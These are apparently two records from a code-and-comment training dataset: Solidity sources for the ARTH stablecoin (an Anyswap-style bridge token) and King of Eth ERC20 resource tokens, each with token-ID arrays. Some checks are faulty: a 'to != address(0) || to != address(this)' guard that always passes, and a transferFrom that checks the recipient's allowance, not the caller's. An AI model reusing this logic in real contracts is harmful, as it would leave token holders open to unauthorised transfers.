returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * * NOTE: The `sender` should not be blacklisted. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual notPaused onlyNonBlacklisted(sender) { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, 'ERC20: transfer amount exceeds balance' ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. * * NOTE: The `account` should not be blacklisted. */ function _mint(address account, uint256 amount) internal virtual onlyNonBlacklisted(account) { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for `accounts`'s tokens of at least * `amount`. * * NOTE: The `account` and `burner i.e msg.sender` both should not be blacklisted. */ function burnFrom(address account, uint256 amount) public virtual onlyNonBlacklisted(_msgSender()) { uint256 decreasedAllowance = allowance(account, _msgSender()).sub( amount, 'ERC20: burn amount exceeds allowance' ); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * * NOTE: The `account` should not be blacklisted. */ function _burn(address account, uint256 amount) internal virtual onlyNonBlacklisted(account) { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, 'ERC20: burn amount exceeds balance' ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal virtual onlyNonBlacklisted(_msgSender()) { _burn(account, amount); _approve( account, _msgSender(), _allowances[account][_msgSender()].sub( amount, 'ERC20: burn amount exceeds allowance' ) ); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of `from`'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of `from`'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:using-hooks.adoc[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/utils/introspection/IERC165.sol // /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: contracts/utils/introspection/ERC165.sol // /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: contracts/access/AccessControl.sol // /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged( bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole ); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked( bytes32 indexed role, address indexed account, address indexed sender ); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override { require( hasRole(getRoleAdmin(role), _msgSender()), 'AccessControl: sender must be an admin to grant' ); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override { require( hasRole(getRoleAdmin(role), _msgSender()), 'AccessControl: sender must be an admin to revoke' ); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require( account == _msgSender(), 'AccessControl: can only renounce roles for self' ); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/ERC20/AnyswapV4Token.sol interface IApprovalReceiver { function onTokenApproval( address, uint256, bytes calldata ) external returns (bool); } interface ITransferReceiver { function onTokenTransfer( address, uint256, bytes calldata ) external returns (bool); } abstract contract AnyswapV4Token is ERC20Custom, AccessControl, IAnyswapV4Token { bytes32 public immutable DOMAIN_SEPARATOR; bytes32 public constant BRIDGE_ROLE = keccak256('BRIDGE_ROLE'); bytes32 public constant PERMIT_TYPEHASH = keccak256( 'Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)' ); bytes32 public constant TRANSFER_TYPEHASH = keccak256( 'Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)' ); mapping(address => uint256) public override nonces; event LogSwapin( bytes32 indexed txhash, address indexed account, uint256 amount ); event LogSwapout( address indexed account, address indexed bindaddr, uint256 amount ); modifier onlyBridge { require( hasRole(BRIDGE_ROLE, _msgSender()), 'AnyswapV4Token: forbidden' ); _; } constructor(string memory name) { uint256 chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256( 'EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)' ), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } function approveAndCall( address spender, uint256 value, bytes calldata data ) external override returns (bool) { _approve(msg.sender, spender, value); return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data); } function transferAndCall( address to, uint256 value, bytes calldata data ) external override returns (bool) { require(to != address(0) || to != address(this)); uint256 balance = balanceOf(msg.sender); require( balance >= value, 'AnyswapV3ERC20: transfer amount exceeds balance' ); _transfer(msg.sender, to, value); return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data); } function transferWithPermit( address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override returns (bool) { require(block.timestamp <= deadline, 'AnyswapV3ERC20: Expired permit'); bytes32 hashStruct = keccak256( abi.encode( TRANSFER_TYPEHASH, target, to, value, nonces[target]++, deadline ) ); require( _verifyEIP712(target, hashStruct, v, r, s) || _verifyPersonalSign(target, hashStruct, v, r, s) ); // NOTE: is this check needed, was there in the refered contract. require(to != address(0) || to != address(this)); require( balanceOf(target) >= value, 'AnyswapV3ERC20: transfer amount exceeds balance' ); _transfer(target, to, value); return true; } function permit( address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public override { require(block.timestamp <= deadline, 'AnyswapV3ERC20: Expired permit'); bytes32 hashStruct = keccak256( abi.encode( PERMIT_TYPEHASH, target, spender, value, nonces[target]++, deadline ) ); require( _verifyEIP712(target, hashStruct, v, r, s) || _verifyPersonalSign(target, hashStruct, v, r, s) ); _approve(target, spender, value); emit Approval(target, spender, value); } /// @dev Only Auth needs to be implemented function Swapin( bytes32 txhash, address account, uint256 amount ) public override onlyBridge returns (bool) { _mint(account, amount); emit LogSwapin(txhash, account, amount); return true; } function Swapout(uint256 amount, address bindaddr) public override onlyBridge returns (bool) { require(bindaddr != address(0), 'AnyswapV4ERC20: address(0x0)'); _burn(msg.sender, amount); emit LogSwapout(msg.sender, bindaddr, amount); return true; } function _verifyEIP712( address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s ) internal view returns (bool) { bytes32 hash = keccak256( abi.encodePacked('\x19\x01', DOMAIN_SEPARATOR, hashStruct) ); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } /// @dev Builds a _prefixed hash to mimic the behavior of eth_sign. function _prefixed(bytes32 hash) internal pure returns (bytes32) { return keccak256( abi.encodePacked('\x19Ethereum Signed Message:\n32', hash) ); } function _verifyPersonalSign( address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s ) internal pure returns (bool) { bytes32 hash = _prefixed(hashStruct); address signer = ecrecover(hash, v, r, s); return (signer != address(0) && signer == target); } } // File: contracts/Arth/Arth.sol // /** * @title ARTHStablecoin. * @author MahaDAO. */ contract ARTHStablecoin is AnyswapV4Token, IARTH { IIncentiveController public incentiveController; address public governance; uint8 public constant override decimals = 18; string public constant symbol = 'ARTH'; string public constant name = 'ARTH Valuecoin'; /// @notice This is to help with establishing the Uniswap pools, as they need liquidity. uint256 public constant override genesisSupply = 22000000e18; // 22M ARTH (testnet) & 5k (Mainnet). mapping(address => bool) public pools; event PoolBurned(address indexed from, address indexed to, uint256 amount); event PoolMinted(address indexed from, address indexed to, uint256 amount); modifier onlyPools() { require(pools[msg.sender] == true, 'ARTH: not pool'); _; } modifier onlyByOwnerOrGovernance() { require( msg.sender == owner() || msg.sender == governance, 'ARTH: not owner or governance' ); _; } constructor() AnyswapV4Token(name) { _mint(msg.sender, genesisSupply); } /// @notice Used by pools when user redeems. function poolBurnFrom(address who, uint256 amount) external override onlyPools { super._burnFrom(who, amount); emit PoolBurned(who, msg.sender, amount); } /// @notice This function is what other arth pools will call to mint new ARTH function poolMint(address who, uint256 amount) external override onlyPools { super._mint(who, amount); emit PoolMinted(msg.sender, who, amount); } /// @dev Collateral Must be ERC20. /// @notice Adds collateral addresses supported. function addPool(address pool) external override onlyByOwnerOrGovernance { require(pools[pool] == false, 'pool exists'); pools[pool] = true; } /// @notice Removes a pool. function removePool(address pool) external override onlyByOwnerOrGovernance { require(pools[pool] == true, "pool doesn't exist"); delete pools[pool]; } function setGovernance(address _governance) external override onlyOwner { governance = _governance; } function setIncentiveController(IIncentiveController _incentiveController) external override onlyByOwnerOrGovernance { incentiveController = _incentiveController; } function _transfer( address sender, address recipient, uint256 amount ) internal override { super._transfer(sender, recipient, amount); if (address(incentiveController) != address(0)) { incentiveController.incentivize( sender, recipient, msg.sender, amount ); } } }
* @dev Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner./
abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), 'Ownable: new owner is the zero address' ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
5,378,531
[ 1, 8924, 1605, 1492, 8121, 279, 5337, 2006, 3325, 12860, 16, 1625, 1915, 353, 392, 2236, 261, 304, 3410, 13, 716, 848, 506, 17578, 12060, 2006, 358, 2923, 4186, 18, 2525, 805, 16, 326, 3410, 2236, 903, 506, 326, 1245, 716, 5993, 383, 1900, 326, 6835, 18, 1220, 848, 5137, 506, 3550, 598, 288, 13866, 5460, 12565, 5496, 1220, 1605, 353, 1399, 3059, 16334, 18, 2597, 903, 1221, 2319, 326, 9606, 1375, 3700, 5541, 9191, 1492, 848, 506, 6754, 358, 3433, 4186, 358, 13108, 3675, 999, 358, 326, 3410, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 14223, 6914, 353, 1772, 288, 203, 565, 1758, 3238, 389, 8443, 31, 203, 203, 565, 871, 14223, 9646, 5310, 1429, 4193, 12, 203, 3639, 1758, 8808, 2416, 5541, 16, 203, 3639, 1758, 8808, 394, 5541, 203, 565, 11272, 203, 203, 203, 203, 565, 3885, 1435, 288, 203, 3639, 1758, 1234, 12021, 273, 389, 3576, 12021, 5621, 203, 3639, 389, 8443, 273, 1234, 12021, 31, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 12, 2867, 12, 20, 3631, 1234, 12021, 1769, 203, 565, 289, 203, 203, 565, 445, 3410, 1435, 1071, 1476, 5024, 1135, 261, 2867, 13, 288, 203, 3639, 327, 389, 8443, 31, 203, 565, 289, 203, 203, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 8443, 1435, 422, 389, 3576, 12021, 9334, 296, 5460, 429, 30, 4894, 353, 486, 326, 3410, 8284, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 445, 1654, 8386, 5460, 12565, 1435, 1071, 5024, 1338, 5541, 288, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 24899, 8443, 16, 1758, 12, 20, 10019, 203, 3639, 389, 8443, 273, 1758, 12, 20, 1769, 203, 565, 289, 203, 203, 565, 445, 7412, 5460, 12565, 12, 2867, 394, 5541, 13, 1071, 5024, 1338, 5541, 288, 203, 3639, 2583, 12, 203, 5411, 394, 5541, 480, 1758, 12, 20, 3631, 203, 5411, 296, 5460, 429, 30, 394, 3410, 353, 326, 3634, 1758, 11, 203, 3639, 11272, 203, 3639, 3626, 14223, 9646, 5310, 1429, 4193, 24899, 8443, 16, 394, 5541, 1769, 203, 3639, 389, 8443, 273, 394, 5541, 31, 203, 2 ]
// File: contracts/GodMode.sol /**************************************************** * * Copyright 2018 BurzNest LLC. All rights reserved. * * The contents of this file are provided for review * and educational purposes ONLY. You MAY NOT use, * copy, distribute, or modify this software without * explicit written permission from BurzNest LLC. * ****************************************************/ pragma solidity ^0.4.24; /// @title God Mode /// @author Anthony Burzillo <[email protected]> /// @dev This contract provides a basic interface for God /// in a contract as well as the ability for God to pause /// the contract contract GodMode { /// @dev Is the contract paused? bool public isPaused; /// @dev God's address address public god; /// @dev Only God can run this function modifier onlyGod() { require(god == msg.sender); _; } /// @dev This function can only be run while the contract /// is not paused modifier notPaused() { require(!isPaused); _; } /// @dev This event is fired when the contract is paused event GodPaused(); /// @dev This event is fired when the contract is unpaused event GodUnpaused(); constructor() public { // Make the creator of the contract God god = msg.sender; } /// @dev God can change the address of God /// @param _newGod The new address for God function godChangeGod(address _newGod) public onlyGod { god = _newGod; } /// @dev God can pause the game function godPause() public onlyGod { isPaused = true; emit GodPaused(); } /// @dev God can unpause the game function godUnpause() public onlyGod { isPaused = false; emit GodUnpaused(); } } // File: contracts/KingOfEthResourcesInterfaceReferencer.sol /**************************************************** * * Copyright 2018 BurzNest LLC. All rights reserved. * * The contents of this file are provided for review * and educational purposes ONLY. You MAY NOT use, * copy, distribute, or modify this software without * explicit written permission from BurzNest LLC. * ****************************************************/ pragma solidity ^0.4.24; /// @title King of Eth: Resources Interface Referencer /// @author Anthony Burzillo <[email protected]> /// @dev Provides functionality to reference the resource interface contract contract KingOfEthResourcesInterfaceReferencer is GodMode { /// @dev The interface contract's address address public interfaceContract; /// @dev Only the interface contract can run this function modifier onlyInterfaceContract() { require(interfaceContract == msg.sender); _; } /// @dev God can set the realty contract /// @param _interfaceContract The new address function godSetInterfaceContract(address _interfaceContract) public onlyGod { interfaceContract = _interfaceContract; } } // File: contracts/KingOfEthResource.sol /**************************************************** * * Copyright 2018 BurzNest LLC. All rights reserved. * * The contents of this file are provided for review * and educational purposes ONLY. You MAY NOT use, * copy, distribute, or modify this software without * explicit written permission from BurzNest LLC. * ****************************************************/ pragma solidity ^0.4.24; /// @title ERC20Interface /// @dev ERC20 token interface contract contract ERC20Interface { function totalSupply() public constant returns(uint); function balanceOf(address _tokenOwner) public constant returns(uint balance); function allowance(address _tokenOwner, address _spender) public constant returns(uint remaining); function transfer(address _to, uint _tokens) public returns(bool success); function approve(address _spender, uint _tokens) public returns(bool success); function transferFrom(address _from, address _to, uint _tokens) public returns(bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /// @title King of Eth: Resource /// @author Anthony Burzillo <[email protected]> /// @dev Common contract implementation for resources contract KingOfEthResource is ERC20Interface , GodMode , KingOfEthResourcesInterfaceReferencer { /// @dev Current resource supply uint public resourceSupply; /// @dev ERC20 token's decimals uint8 public constant decimals = 0; /// @dev mapping of addresses to holdings mapping (address => uint) holdings; /// @dev mapping of addresses to amount of tokens frozen mapping (address => uint) frozenHoldings; /// @dev mapping of addresses to mapping of allowances for an address mapping (address => mapping (address => uint)) allowances; /// @dev ERC20 total supply /// @return The current total supply of the resource function totalSupply() public constant returns(uint) { return resourceSupply; } /// @dev ERC20 balance of address /// @param _tokenOwner The address to look up /// @return The balance of the address function balanceOf(address _tokenOwner) public constant returns(uint balance) { return holdings[_tokenOwner]; } /// @dev Total resources frozen for an address /// @param _tokenOwner The address to look up /// @return The frozen balance of the address function frozenTokens(address _tokenOwner) public constant returns(uint balance) { return frozenHoldings[_tokenOwner]; } /// @dev The allowance for a spender on an account /// @param _tokenOwner The account that allows withdrawels /// @param _spender The account that is allowed to withdraw /// @return The amount remaining in the allowance function allowance(address _tokenOwner, address _spender) public constant returns(uint remaining) { return allowances[_tokenOwner][_spender]; } /// @dev Only run if player has at least some amount of tokens /// @param _owner The owner of the tokens /// @param _tokens The amount of tokens required modifier hasAvailableTokens(address _owner, uint _tokens) { require(holdings[_owner] - frozenHoldings[_owner] >= _tokens); _; } /// @dev Only run if player has at least some amount of tokens frozen /// @param _owner The owner of the tokens /// @param _tokens The amount of frozen tokens required modifier hasFrozenTokens(address _owner, uint _tokens) { require(frozenHoldings[_owner] >= _tokens); _; } /// @dev Set up the exact same state in each resource constructor() public { // God gets 200 to put on exchange holdings[msg.sender] = 200; resourceSupply = 200; } /// @dev The resources interface can burn tokens for building /// roads or houses /// @param _owner The owner of the tokens /// @param _tokens The amount of tokens to burn function interfaceBurnTokens(address _owner, uint _tokens) public onlyInterfaceContract hasAvailableTokens(_owner, _tokens) { holdings[_owner] -= _tokens; resourceSupply -= _tokens; // Pretend the tokens were sent to 0x0 emit Transfer(_owner, 0x0, _tokens); } /// @dev The resources interface contract can mint tokens for houses /// @param _owner The owner of the tokens /// @param _tokens The amount of tokens to burn function interfaceMintTokens(address _owner, uint _tokens) public onlyInterfaceContract { holdings[_owner] += _tokens; resourceSupply += _tokens; // Pretend the tokens were sent from the interface contract emit Transfer(interfaceContract, _owner, _tokens); } /// @dev The interface can freeze tokens /// @param _owner The owner of the tokens /// @param _tokens The amount of tokens to freeze function interfaceFreezeTokens(address _owner, uint _tokens) public onlyInterfaceContract hasAvailableTokens(_owner, _tokens) { frozenHoldings[_owner] += _tokens; } /// @dev The interface can thaw tokens /// @param _owner The owner of the tokens /// @param _tokens The amount of tokens to thaw function interfaceThawTokens(address _owner, uint _tokens) public onlyInterfaceContract hasFrozenTokens(_owner, _tokens) { frozenHoldings[_owner] -= _tokens; } /// @dev The interface can transfer tokens /// @param _from The owner of the tokens /// @param _to The new owner of the tokens /// @param _tokens The amount of tokens to transfer function interfaceTransfer(address _from, address _to, uint _tokens) public onlyInterfaceContract { assert(holdings[_from] >= _tokens); holdings[_from] -= _tokens; holdings[_to] += _tokens; emit Transfer(_from, _to, _tokens); } /// @dev The interface can transfer frozend tokens /// @param _from The owner of the tokens /// @param _to The new owner of the tokens /// @param _tokens The amount of frozen tokens to transfer function interfaceFrozenTransfer(address _from, address _to, uint _tokens) public onlyInterfaceContract hasFrozenTokens(_from, _tokens) { // Make sure to deduct the tokens from both the total and frozen amounts holdings[_from] -= _tokens; frozenHoldings[_from] -= _tokens; holdings[_to] += _tokens; emit Transfer(_from, _to, _tokens); } /// @dev ERC20 transfer /// @param _to The address to transfer to /// @param _tokens The amount of tokens to transfer function transfer(address _to, uint _tokens) public hasAvailableTokens(msg.sender, _tokens) returns(bool success) { holdings[_to] += _tokens; holdings[msg.sender] -= _tokens; emit Transfer(msg.sender, _to, _tokens); return true; } /// @dev ERC20 approve /// @param _spender The address to approve /// @param _tokens The amount of tokens to approve function approve(address _spender, uint _tokens) public returns(bool success) { allowances[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } /// @dev ERC20 transfer from /// @param _from The address providing the allowance /// @param _to The address using the allowance /// @param _tokens The amount of tokens to transfer function transferFrom(address _from, address _to, uint _tokens) public hasAvailableTokens(_from, _tokens) returns(bool success) { require(allowances[_from][_to] >= _tokens); holdings[_to] += _tokens; holdings[_from] -= _tokens; allowances[_from][_to] -= _tokens; emit Transfer(_from, _to, _tokens); return true; } } // File: contracts/resources/KingOfEthResourceWood.sol /**************************************************** * * Copyright 2018 BurzNest LLC. All rights reserved. * * The contents of this file are provided for review * and educational purposes ONLY. You MAY NOT use, * copy, distribute, or modify this software without * explicit written permission from BurzNest LLC. * ****************************************************/ pragma solidity ^0.4.24; /// @title King of Eth Resource: Wood /// @author Anthony Burzillo <[email protected]> /// @dev ERC20 contract for the wood resource contract KingOfEthResourceWood is KingOfEthResource { /// @dev The ERC20 token name string public constant name = "King of Eth Resource: Wood"; /// @dev The ERC20 token symbol string public constant symbol = "KEWO"; }
@title King of Eth Resource: Wood @author Anthony Burzillo <[email protected]> @dev ERC20 contract for the wood resource
contract KingOfEthResourceWood is KingOfEthResource { string public constant name = "King of Eth Resource: Wood"; string public constant symbol = "KEWO"; }
416,180
[ 1, 47, 310, 434, 512, 451, 2591, 30, 678, 4773, 225, 1922, 3041, 93, 605, 295, 94, 330, 383, 411, 70, 295, 94, 36, 70, 295, 94, 30953, 18, 832, 34, 225, 4232, 39, 3462, 6835, 364, 326, 341, 4773, 1058, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
